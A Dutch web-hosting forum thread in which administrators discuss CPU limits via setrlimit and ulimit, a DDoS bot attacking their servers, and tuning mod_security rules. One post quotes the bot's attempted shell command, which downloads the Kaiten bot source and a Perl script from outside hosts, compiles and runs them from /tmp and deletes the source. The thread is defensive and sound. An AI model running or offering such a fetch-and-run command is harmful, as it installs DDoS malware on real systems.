Spambots

het hangt af hoe je het gebruikt he... voor zover ik weet lezen alleen applicaties die pam ondersteunen dat bestand in (door pam zelf natuurlijk).

Je hebt dus waarschijnlijk niet limits.conf nodig, maar je zal de limits ergens in apache/perl moeten steken. Als je over een wrapper beschikt is dat zeer simpel met setrlimit() (man 2 setrlimit). Anders kan je een perl wrapper schrijven. Als je wat C kent is dat niet zo moeilijk:

/usr/bin/perl.c -> /usr/bin/perl :

setrlimit(...);
execve(echte perl);

//edit: typo

Ik pas dit tot nu toe alleen toe op onze Shell server. Daar had ik het voor de grap getest op 1 min.

Kon in bash zo'n grote endless loop bouwen, script werd niet gedood..

1 min is ook lang :) Je zal zelf moeten ondervinden hoeveel seconden je een bash promptje van cpu tijd zal geven vooraleer die gekilled wordt. Test ook eens met ulimit -a of de limiet ook echt gezet is. met ps aux |grep bash of uw pid kan je ook kijken hoeveel seconden die lus al in neemt. Probeer anders iets meer cpu intensiefs, een optelling/deling/...

Ok, wv- ik ga verder spelen.

Ik kreeg vandaag weer een nieuwe DDoS bot voor mijn ogen.

Hij kon weliswaar niets uithalen, maar dit probeerde hij:

Code:

---

sh -c cd / tmp; w g e t http://een.lamme.tak/kaiten.c; gcc kaiten.c -o kaiten; mv kaiten xkernel; chmod 777 xkernel; ./xkernel; rm -rf kaiten.c; w g e t xanutz.3x.ro/xpl.pl; perl xpl.pl

---

Lijkt wel of het steeds gekker word?

(*$^&#* mod_security)

kaiten.c haha klinkt bekend in de oren :p

zijn gemene botjes die kaiten, die verkloten je hele bak. Haal trouwens even die link uit je post Wido aangezien de hackert een referercheck op die pagina heeft ingesteld en alles logt..

Citaat:

---

Origineel geplaatst door WH-Tim
kaiten.c haha klinkt bekend in de oren :p

zijn gemene botjes die kaiten, die verkloten je hele bak. Haal trouwens even die link uit je post Wido aangezien de hackert een referercheck op die pagina heeft ingesteld en alles logt..

---

Ok, done that.

Afgelopen nacht hebben wij dezelfde DDOS attack gehad.. echter heeft ze bij ons onder de root gewerkt.. We zijn via onze andere webservers in de shell gekomen en hebben hem toen gekilled.

Als je mod_suid draait zie je toch in een oogwenk welke klant het lekke script draait. Het lijkt me niet onredelijk de betreffende site te suspenden tot de klant het lek heeft gedicht. Liefst overleg je natuurlijk met die klant..... etc.

Zo goed werkt dat mod_security ook weer niet . Had die hele lijst ingevoerd van gotroot.com ipv. de belangrijke stukke. De server ging meteen flippen. Load schoot omhoog.

Dit mod_security gebruiken is alleen te doen als je een webserver hebt draaien waar je totaal bijna geen bezoekers hebt en 100% veiligeheid wilt hebben.

Het beste is nog je server uit zetten.

http://fets5.freetranslation.com/?se...sword=x6ufr0ew

Vond ik via google ;) Mischien zit er iets tussen :)


Wel be *PIEP* :mad: Dat best stome wordwrap verziekt het adres :r :mad:

Die url werkt.

Maargoed ik heb totaal geen problemen met Mod_security. Je moet niet al die lijsten van gotroot erin gooien. Dat werkt niet want dat trekt inderdaad veel te veel load. Je moet gewoon even goed googlen en zelf kijken wat je voornamelijk wil beveiligen.

Op het DirectAdmin forum staan bijvoorbeeld een paar zeer nuttige regels :)

Bedankt voor de tip.

Heb je verder nog goede sites?

www.google.nl :D

http://www.google.nl/search?hl=nl&q=...g_en%7Clang_nl ;)

Dat snap ik ook wel. Maar op Google zitten veel rotte eieren en je moet meestal zoeken naar een spelt in een hooiberg. Misschien had iemand toevallig zelf nog een goede website die ik nog niet kende.